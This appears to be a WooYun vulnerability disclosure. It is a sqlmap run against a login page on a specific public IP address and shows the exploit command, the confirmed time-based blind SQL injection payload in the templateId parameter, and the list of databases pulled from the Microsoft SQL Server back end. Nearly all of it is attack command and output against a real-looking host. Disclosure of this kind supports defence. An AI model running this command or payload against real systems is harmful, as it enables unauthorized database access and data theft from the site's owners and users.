WooYun.org

sqlmap -u "https://111.200.229.205/page/maint/login/Page.jsp?templateId=18" --dbs --delay 2
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150724}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 14:41:50
[14:41:50] [INFO] resuming back-end DBMS 'microsoft sql server'
[14:41:50] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: templateId (GET)
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: templateId=18 WAITFOR DELAY '0:0:5'
---
[14:41:56] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2008
[14:41:56] [INFO] fetching database names
[14:41:56] [INFO] fetching number of databases
[14:41:56] [WARNING] time-based comparison requires larger statistical model, please wait..............................
[14:43:26] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[14:43:31] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[14:43:31] [ERROR] unable to retrieve the number of databases
[14:43:31] [INFO] resumed: ecology
[14:43:31] [INFO] resumed: master
[14:43:31] [INFO] resumed: tempdb
[14:43:31] [INFO] resumed: model
[14:43:31] [INFO] resumed: msdb
[14:43:31] [INFO] resumed: ReportServer
[14:43:31] [INFO] retrieved:
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
ReportServer
[14:53:04] [ERROR] invalid character detected. retrying..
[14:53:04] [WARNING] increasing time delay to 6 seconds
TempD
[14:57:40] [ERROR] invalid character detected. retrying..
[14:57:40] [WARNING] increasing time delay to 7 seconds
B
[14:58:36] [INFO] retrieved: ecology
[15:04:58] [INFO] retrieved: EHR
[15:07:54] [INFO] retrieved:
available databases [8]:
[*] ecology
[*] EHR\x02
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb